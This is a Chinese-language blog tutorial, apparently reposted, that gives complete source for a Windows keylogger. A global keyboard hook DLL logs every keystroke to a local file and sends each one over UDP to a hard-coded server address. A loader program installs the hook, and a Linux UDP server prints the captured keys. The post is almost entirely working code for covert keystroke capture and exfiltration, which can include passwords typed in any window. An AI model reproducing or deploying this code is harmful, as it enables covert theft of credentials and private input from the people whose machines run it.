Window 下键盘钩子(监控键盘),并将监控信息发到服务端(UDP)

来源:互联网 发布:什么是网络攻防大赛 编辑:程序博客网 时间:2024/05/16 14:31

    程序:http://download.csdn.net/detail/huangshanchun/8501021

   钩子的本质是一段用以处理系统消息的程序,通过系统调用,将其挂入系统。钩子的种类有很多,每种钩子可以截获并处理相应的消息,每当特定的消息发出,在到达目的窗口之前,钩子程序先行截获该消息、得到对此消息的控制权。此时在钩子函数中就可以对截获的消息进行加工处理,甚至可以强制结束消息的传递。

  在本程序中我们需要捕获在任意窗口上的键盘输入,这就需要采用全局钩子以便拦截整个系统的消息,而全局钩子函数必须以DLL(动态连接库)为载体进行封装。这里我们将捕获到键盘信息发到sever端以及保存在D盘log文件下,这里采用udp协议,因为udp协议不需要建立连接就可以直接发送。

程序测试环境:vs2010 windows7  linux(Ubuntu 14.04)

首先制作dll文件,在新建项目->win32 项目->DLL 

hookdll.h //提供对外的接口

#pragma once#ifdef __cplusplus  extern "C" {  #endif   __declspec(dllexport) void   InstallLaunchEnv(); __declspec(dllexport) void   UninstallLaunchEnv();#ifdef  __cplusplus  }  #endif
hookdll.cpp

#include"stdafx.h"#include"udp_socket.h"#include"hookdll.h"#include<stdio.h>#include"hookdll.h"#include<Windows.h>#include<Winuser.h>void save_log(char *buf);LRESULT CALLBACK KeybHookProc(int nCode, WPARAM wParm, LPARAM lParm);HHOOK  hook;extern HINSTANCE hInst; //定义HINSTANCE hist dll文件文件实例void    InstallLaunchEnv(){// 安装键盘钩子hook = SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)KeybHookProc,hInst,0);if(hook==NULL){strerror(GetLastError());}}void  UninstallLaunchEnv(){UnhookWindowsHookEx(hook);//卸载键盘钩子}LRESULT CALLBACK KeybHookProc(int nCode, WPARAM wParm, LPARAM lParm)//回调函数{LRESULT result = CallNextHookEx(hook,nCode,wParm,lParm);bool CapsLock=GetKeyState(VK_CAPITAL)>0 ? true:false; //判断Caps Lock有没有按下bool Shift  = false;if(GetAsyncKeyState(VK_LSHIFT)& 0x8000)//判断shift 有没有按下{Shift = true;}if(nCode == HC_ACTION){char key;char buf[200];char *pShiftFlag="shift down";memset(buf,0,sizeof(buf));if(!(lParm&0x80000000))//捕获键盘按下的情况{if(wParm >= 65 && wParm <= 90)  //如果输入的是26个字母  {  bool flag = CapsLock ||Shift; // 如果有shift键和Caps Lock键是否有一个按下if(flag)  {key=wParm;}else{key=wParm+32;}//sprintf 功能类似这里定向到buf里,而不是屏幕sprintf(buf,"\n%u\t%c\t%08x",wParm,key,lParm);}else if(wParm >= 96 && wParm <= 105) //小键盘的数字{sprintf(buf,"\n%u\t%c\t%08x",wParm,wParm-48,lParm);}else{sprintf(buf,"\n%u\t%c\t%08x",wParm,wParm,lParm);}if(Shift){strcat(buf,pShiftFlag);}save_log(buf);//将捕获的保存到本地文件下send_work("172.19.198.109",8080,buf); //将内容发到sever端 8080 端口 172.19.198.109 是sever Ip地址 }return result;}}void save_log(char *buf){FILE *fp = fopen("D:\\log.txt","a+");fputs(buf,fp);fclose(fp);}
LRESULT CALLBACK KeybHookProc(int nCode, WPARAM wParm, LPARAM lParm) //这个函数是安装键盘的回调函数
函数的参数类型(int nCode, WPARAM wParm, LPARAM lParm)必须为这几个,具体可上MSDN 查看

参数 nCode(决定如何处理捕获的消息)

A code the hook procedure uses to determine how to process the message. If code is less than zero, the hook procedure must pass the message to the CallNextHookEx function without further processing and should return the value returned byCallNextHookEx. This parameter can be one of the following values. (MSDN)

WPARAM wParm,是虚拟键码:是一种与设备无关的键盘编码,在windows.h 消息中定义,每一键都有一个标识。

LPARAM lParm
0-15:用户按住一个键的重复次数,16-23 位:给出OME 键盘扫描码,24 位:是否为增强键盘的扩展键,如果是为1 否则为0
25-28:保留,29位:给出关联码,表明是否使用alt键,如果按下alt为1否则为0
30位给出前一次击键状态,31 位:给出转换状态,1:表示按键2:表示放键。

调用hookdll程序,需要头文件:

#ifdef __cplusplus    extern "C" {    #endif        //hookdll 文件中的函数 void  InstallLaunchEnv(); void UninstallLaunchEnv();#ifdef  __cplusplus    }    #endif  
程序入口:

#include "stdafx.h"#include "mytest.h"#pragma comment(lib,"hookdll.lib") // 加载lib 文件int APIENTRY _tWinMain(HINSTANCE hInstance,                     HINSTANCE hPrevInstance,                     LPTSTR    lpCmdLine,                     int       nCmdShow) // 类似C语言main函数{InstallLaunchEnv();//安装键盘钩子Sleep(1000000);// 设置在系统时间UninstallLaunchEnv();//卸载键盘钩子}

服务端程序:server.c

#include<stdio.h>#include<stdlib.h>#include<string.h>#include <sys/types.h>#include <sys/socket.h>#include <netinet/in.h>#include <netinet/ip.h>#include<unistd.h>#include<errno.h>//serverint main(int argc, char *argv[]){if (argc < 2){printf("Usage:port,example:8080 \n");return -1;}char buf[1024];int port = atoi(argv[1]);int listen_socket_d;int client_socket_d; //定义client socketstruct sockaddr_in sockaddr; //定义IP地址结构struct sockaddr_in clinet_sockaddr; //定义client IP地址结构socklen_t len = sizeof(clinet_sockaddr);listen_socket_d = socket(AF_INET, SOCK_DGRAM, 0);  //初始化socketif (listen_socket_d == -1){printf("socket create error! %s \n",strerror(errno));}memset(&sockaddr, 0, sizeof(sockaddr));sockaddr.sin_port = htons(port); //指定一个端口号并将hosts字节型传化成Inet型字节型(大端或或者小端问题)sockaddr.sin_family = AF_INET;//设置结构类型为TCP/IPsockaddr.sin_addr.s_addr = htonl(INADDR_ANY);//服务端是等待别人来连,不需要找谁的ip//这里写一个长量INADDR_ANY表示server上所有ip,这个一个server可能有多个ip地址,因为可能有多块网卡if (bind(listen_socket_d, (struct sockaddr *) &sockaddr, sizeof(sockaddr))== -1){printf("bind error! %s \n",strerror(errno));}while (1){memset(&clinet_sockaddr, 0, sizeof(clinet_sockaddr));memset(buf,0,sizeof(buf));int rv = recvfrom(listen_socket_d, buf, sizeof(buf), 0,(struct sockaddr*)&clinet_sockaddr, &len);  //这个也是阻塞的 ,从缓冲区获取数据if (rv <= 0){printf("recv error! %s \n",strerror(errno));break;}printf("%s \n", buf);}return 0;}

测试程序:首先编译服务程序,并启动服务端程序

接着启动键盘钩子程序

启动后就可以按下键盘来测试了 第一列是虚拟键码,第二列是转换的字符,第三列是LPARAM lParm 的参数十六进制



1 0
原创粉丝点击